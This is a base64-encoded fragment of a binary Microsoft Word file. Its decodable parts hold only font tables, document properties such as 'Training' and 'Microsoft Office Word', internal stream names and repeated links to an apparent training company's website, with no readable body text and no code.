d4AFCQD+AHs/ghkAAAAAMHeABQkA/gD/////AAAAABAAAAAAAAAAEQAAAAEAAAASAAAAAQAAABMA AAABAAAAFAAAAAEAAAAVAAAAAQAAABYAAAABAAAAFwAAAAEAAAAYAAAA/////wEAAAAAAAAAAQAA ABEAAAABAAAAEgAAAAEAAAATAAAAAQAAABQAAAABAAAAFQAAAAEAAAAWAAAAAQAAABcAAAABAAAA GAAAAP////8BAAAAAAAAAAEAAAARAAAAAQAAABIAAAABAAAAEwAAAAEAAAAUAAAAAQAAABUAAAAB AAAAFgAAAAEAAAAXAAAAAQAAABgAAAD/////AQAAAAAAAAABAAAAEQAAAAEAAAASAAAAAQAAABMA AAABAAAAFALQAgEAAAAVAAAAAQAAABYAAAABAAAAFwAAAAEAAAAYAAAA/////wEAAAAAAAAAAQAA ABEAAAABAAAAEgAAAAEAAAATAAAAAQAAABQC0AIBAAAAFQAAAAEAAAAWAAAAAQAAABcAAAABAAAA GAAAAP////////////////////////////////////8BAAAAAAAAAAEAAAARAAAAAQAAABIAAAAB AAAAEwAAAAEAAAAUAAAAAQAAABUAAAABAAAAFgAAAAEAAAAXAAAAAQAAABgAAAD///////////// ////////////////////////////////////////////////////////////////////////AQAA AAAAAAABAAAAEQAAAAEAAAASAAAAAQAAABMAAAABAAAAFAAAAAEAAAAVAAAAAQAAABYAAAABAAAA FwAAAAEAAAAYAAAA//////////8BAAAAwHbsYAEAAAARJ5dvAQAAAJLO82ABAAAA00QDAgEAAACU LjEAAQAAABUAAAABAAAA1i8xAAEAAADXRAMCAQAAANgUAAD/////AQAAAAAAAAABAAAAEQAAAAEA AAASAAAAAQAAABMAAAABAAAAFAAAAAEAAAAVAAAAAQAAABYAIAABAAAAFwAAAAEAAAAYAAAA//8d AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAP//HQAAABIABQAJBAMACQQFAAkEAQAJBAMACQQFAAkEAQAJBAMACQQFAAkEEgABAAkEAwAJ BAUACQQBAAkEAwAJBAUACQQBAAkEAwAJBAUACQQSAAUACQQDAAkEBQAJBAEACQQDAAkEBQAJBAEA CQQDAAkEBQAJBBIAZvFwFQMACQQFAAkEAQAJBAMACQQFAAkEAQAJBAMACQQFAAkEEgAFAAkEAwAJ BAUACQQBAAkEAwAJBAUACQQBAAkEAwAJBAUACQQSAAEACQQDAAkEBQAJBAEACQQDAAkEBQAJBAEA CQQDAAkEBQAJBBIAZvFwFQMACQQFAAkEAQAJBAMACQQFAAkEAQAJBAMACQQFAAkEEgABAAkEAwAJ BAUACQQBAAkEAwAJBAUACQQBAAkEAwAJBAUACQQSAAUAAQRm8XAVBQAJBAEACQQDAAkEBQAJBAEA CQQDAAkEBQAJBBIAAQAJBAMACQQFAAkEAQAJBAMACQQFAAkEAQAJBAMACQQFAAkEEgBm8XAVAwAJ BAUACQQBAAkEAwAJBAUACQQBAAkEAwAJBAUACQQSAAEACQQDAAkEBQAJBAEACQQDAAkEBQAJBAEA CQQDAAkEBQAJBBIAAQAJBAMACQQFAAkEAQAJBAMACQQFAAkEAQAJBAMACQQFAAkEEgABAAkEAwAJ BAUACQQBAAkEAwAJBAUACQQBAAkEAwAJBAUACQQSAGbxcBUDAAkEBQAJBAEACQQDAAkEBQAJBAEA CQQDAAkEBQAJBBIAAQAJBA8ACQQFAAkEAQAJBAMACQQFAAkEAQAJBAMACQQFAAkEEgABAAkEAwAJ BAUACQQBAAkEAwAJBAUACQQBAAkEAwAJBAUACQQSAAMACQQDAAkEAwAJBA8ACQQZAAkEGwAJBA8A CQQZAAkEGwAJBBIAAQAJBAMACQQFAAkEAQAJBAMACQQFAAkEAQAJBAMACQQFAAkEEgAFAAkEAwAJ BAUACQQBAAkEAwAJBAUACQQBAAkEAwAJBAUACQQSAAEACQQDAAkEBQAJBAEACQQDAAkEBQAJBAEA CQQDAAkEBQAJBBIAAQAJBAMACQQFAAkEAQAJBAMACQQFAAkEAQAJBAMACQQFAAkEEgABAAkEAwAJ BAUACQQBAAkEAwAJBAUACQQBAAkEAwAJBAUACQQSAAEACQQDAAkEBQAJBAEACQQDAAkEBQAJBAEA CQQDAAkEBQAJBBIAAQAJBAMACQQFAAkEAQAJBAMACQQFAAkEAQAJBAMACQQFAAkEEgABAAkEAwAJ BAUACQQBAAkEAwAJBAUACQQBAAkEAwAJBAUACQQSAGbxcBUDAAkEBQAJBAEACQQDAAkEBQAJBAEA CQQDAAkEBQAJBBIAAQAJBAMACQQFAAkEAQAJBAMACQQFAAkEAQAJBAMACQQFAAkEEgABAAEEAwAB BAUAAQQBAAEEAwABBAUAAQQBAAEEAwABBAUAAQQCAOUyJjEAAAAAAAAAAAABAgACAJAUnzoAAAAA AQAAAAABAgACAEoAAAAEAAAACAAAAOUAAAAAAAAAQgAAAARAAADTfAAAlnISAEsaGQBuAR0AR0ge AEpFHwDbSSgAeAkqAKFjKgDgAywAvXMuALF+OwDcXj8AWW5AANthQQDndEEAFHJJAPUnTQDhKE0A akdNAEgVUACPVVAAliZVAPdJZQAVH2kAs01pAJUYagCjRmoASERrAKEJbABuB3AACQJ1AIB/dQDk eXwA63OEAJ8NjAAiCpIAbRKVAF94lwDpKpkAc1ebAMoLngB/QaUAflqnAL80tgAEOLcAEjq3AHhW ugBca8AAIlDCAEgJxQB3QskA+CjMAPt+zAAIUM4A3gbPAK5b0ABvENEApGnRADEw1ABlYdUA0X/W APMW1wCAYNkAESLiACYd5wD6O/EANAX1ADw19QBHOvYAOwz7ADtU/wBpeP8AAAAAADUVAAA3FQAA AAAAAAEAAAD/QAIcAAAAAAAAAL8LAAAFFgAAQAAACAAAAABAAAAyAAAAAP//AQAAAAcAVQBuAGsA bgBvAHcAbgD//wEACAAAAAAAAAAAAAAA//8BAAAAAAD//wAAAgD//wAAAAD//wAAAgD//wAAAAAN AAAARx6QAQAAAgIGAwUEBQIDBIcqACAAAACACAAAAAAAAAD/AQAAAAAAAFQAaQBtAGUAcwAgAE4A ZQB3ACAAUgBvAG0AYQBuAAAANR6QAQIABQUBAgEHBgIFBwAAAAAAAAAQAAAAAAAAAAAAAACAAAAA AFMAeQBtAGIAbwBsAAAAMy6QAQAAAgsGBAICAgICBIcqACAAAACACAAAAAAAAAD/AQAAAAAAAEEA cgBpAGEAbAAAAE0ukAGIAAILBgQDBQQEAgSHAAAAAECPKBYAAAAAAAAACQAQAAAAAABNAGkAYwBy AG8AcwBvAGYAdAAgAEoAaABlAG4AZwBIAGUAaQAAADsekAEAAAIKBAIGBAYBAwEDAAAAAAAAAAAA AAAAAAAAAQAAAAAAAABDAGEAcwB0AGUAbABsAGEAcgAAAFMEkAEABwAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAABHAE8AVABIAEkAQwAAAEMAZQBuAHQAdQByAHkAIABHAG8AdABoAGkA YwAAAEsGkAGyAAIBAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAQAAAAAAAAABTAGkAbQBwAGwAaQBm AGkAZQBkACAAQQByAGEAYgBpAGMAAAA3LpABAAACDwUCAgIEAwIE7wIAoHsgAEAAAAAAAAAAAJ8A AAAAAAAAQwBhAGwAaQBiAHIAaQAAADcekAEAAAIEBQMFBAYDAgTvAgCgSwAAQAAAAAAAAAAAnwAA AAAAAABDAGEAbQBiAHIAaQBhAAAANS6QAQAAAgsGBAMFBAQCBIcqAGEAAACACAAAAAAAAAD/AQEA AAAAAFQAYQBoAG8AbQBhAAAAOw6QAQIABQAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAACAAAAA AFcAaQBuAGcAZABpAG4AZwBzAAAAPz2QAQAAAgcDCQICBQIEBIcqACAAAACACAAAAAAAAAD/AQAA AAAAAEMAbwB1AHIAaQBlAHIAIABOAGUAdwAAAEEekAEAAAIEBQMFBAYDAgTvAgCg6yAAQgAAAAAA AAAAnwAAAAAAAABDAGEAbQBiAHIAaQBhACAATQBhAHQAaAAAACIABAAxCIgYAPDQAgAAaAEAAAAA iO0VZ2u7FgewaxJnDgA1AAAAKgMAAAsSAAADAAoAAAAEAAOQJgAAACoDAAALEgAAAwAKAAAAJgAA AAAAAACxAgDwEAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3AjEAtAC0AIGBMjAAAAAAAAAA AAAAAAAAACsVAAArFQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAw+g3EA8BAACAD8/QEAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAASFAAAAAADfD/DwABJFAAAOgEAAD///9/////f////3////9/////f////3////9/ CFDOAAAEAAAyAAAAAAAAAAAAAAAAAAAAAAAAAAAAIQQAAAAAAAAAAAAAAAAAAAAAAAAQHAAADAAA AAAAAAAAAHgAAAB4AAAAAAAAAAAAAACgBQAA//8SAAAAAAAAAAAAAAAAAAAACABUAHIAYQBpAG4A aQBuAGcAAwBNAEEAUwAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAGAAAAHQAAAAAADAABAAwAAgAM AAMADAAEAAwABQAMAAYADAAHAAwACAAMAAkADAAKAAwACwAMAAwADAANAAwADgAMAA8ADAAQAAwA EQAMABIADAATAAwAFAAMABUADAAWAAwAFwAMABgADAAZAAwAGgAMABsADAAcAAwAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7/AAAFAQIAAAAAAAAAAAAAAAAAAAAAAAEAAADghZ/y +U9oEKuRCAArJ7PZMAAAAGgBAAARAAAAAQAAAJAAAAACAAAAmAAAAAMAAACkAAAABAAAALAAAAAF AAAAxAAAAAcAAADQAAAACAAAAOAAAAAJAAAA7AAAABIAAAD4AAAACgAAABgBAAALAAAAJAEAAAwA AAAwAQAADQAAADwBAAAOAAAASAEAAA8AAABQAQAAEAAAAFgBAAATAAAAYAEAAAIAAADoBAAAHgAA AAQAAAAAAAAAHgAAAAQAAAAAAAAAHgAAAAwAAABUcmFpbmluZwAAAAAeAAAABAAAAAAAAAAeAAAA CAAAAE5vcm1hbAAAHgAAAAQAAABNQVMAHgAAAAQAAAAxNAAAHgAAABgAAABNaWNyb3NvZnQgT2Zm aWNlIFdvcmQAAABAAAAAAH5tZwcAAABAAAAAANj8+N8JzgFAAAAAAOj81Z9czgFAAAAAAJIbbv5v zgEDAAAAAwAAAAMAAAAqAwAAAwAAAAsSAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAABSAG8AbwB0ACAARQBuAHQAcgB5AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFgAFAf//////////AwAAAAYJAgAAAAAAwAAAAAAAAEYA AAAAAAAAAAAAAACAtqUriHzOAaYAAACAAAAAAAAAAEQAYQB0AGEAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAIB////////////////AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALgAAAGlIAAAAAAAAMQBUAGEAYgBsAGUA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAgEB AAAABgAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABTAAAAM3sAAAAA AABXAG8AcgBkAEQAbwBjAHUAbQBlAG4AdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAGgACAQIAAAAFAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAA4WgAAAAAAAIEAAACCAAAAgwAAAIQAAACFAAAAhgAAAIcAAACIAAAAiQAAAIoAAACL AAAAjAAAAI0AAACOAAAAjwAAAJAAAAD+////kgAAAJMAAACUAAAAlQAAAJYAAACXAAAAmAAAAP7/ //+kAAAA/f///5wAAACdAAAAngAAAJ8AAACgAAAAogAAAP3///+jAAAA/v////7////+/////v// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////////////////v8AAAUBAgAAAAAAAAAAAAAAAAAAAAAAAgAAAALVzdWcLhsQk5cIACss +a5EAAAABdXN1ZwuGxCTlwgAKyz5rlABAAAMAQAADAAAAAEAAABoAAAADwAAAHAAAAAFAAAAhAAA AAYAAACMAAAAEQAAAJQAAAAXAAAAnAAAAAsAAACkAAAAEAAAAKwAAAATAAAAtAAAABYAAAC8AAAA DQAAAMQAAAAMAAAA1gAAAAIAAADoBAAAHgAAAAwAAADd0cfTIMfh1drt5gADAAAAJgAAAAMAAAAK AAAAAwAAACsVAAADAAAAAAAMAAsAAAAAAAAACwAAAAAAAAALAAAAAAAAAAsAAAAAAAAAHhAAAAIA AAABAAAAAAEAAAAADBAAAAQAAAAeAAAACAAAAMfh2uTmx+QAAwAAAAEAAAAeAAAABgAAAFRpdGxl AAMAAAABAAAAnAEAAAMAAAAAAAAAIAAAAAEAAAA4AAAAAgAAAEAAAAABAAAAAgAAAAwAAABfUElE X0hMSU5LUwACAAAA6AQAAEEAAABUAQAAEgAAAAMAAAAEAF4AAwAAAAMAAAADAAAAAAAAAAMAAAAF AAAAHwAAAB0AAABoAHQAdABwADoALwAvAHcAdwB3AC4AbQBiAGMALQB0AHIAYQBpAG4AaQBuAGcA LgBjAG8AbQAvAAAAAAAfAAAAAQAAAAAAEQADAAAABABeAAMAAAAAAAAAAwAAAAAAAAADAAAABQAA AB8AAAAdAAAAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG0AYgBjAC0AdAByAGEAaQBuAGkAbgBnAC4A YwBvAG0ALwAAAAAAHwAAAAEAAAAAABEAAwAAAAQAXgADAAAAAAAAAAMAAAAAAAAAAwAAAAUAAAAf AAAAHQAAAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBtAGIAYwAtAHQAcgBhAGkAbgBpAG4AZwAuAGMA bwBtAC8AAAAAAB8AAAABAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 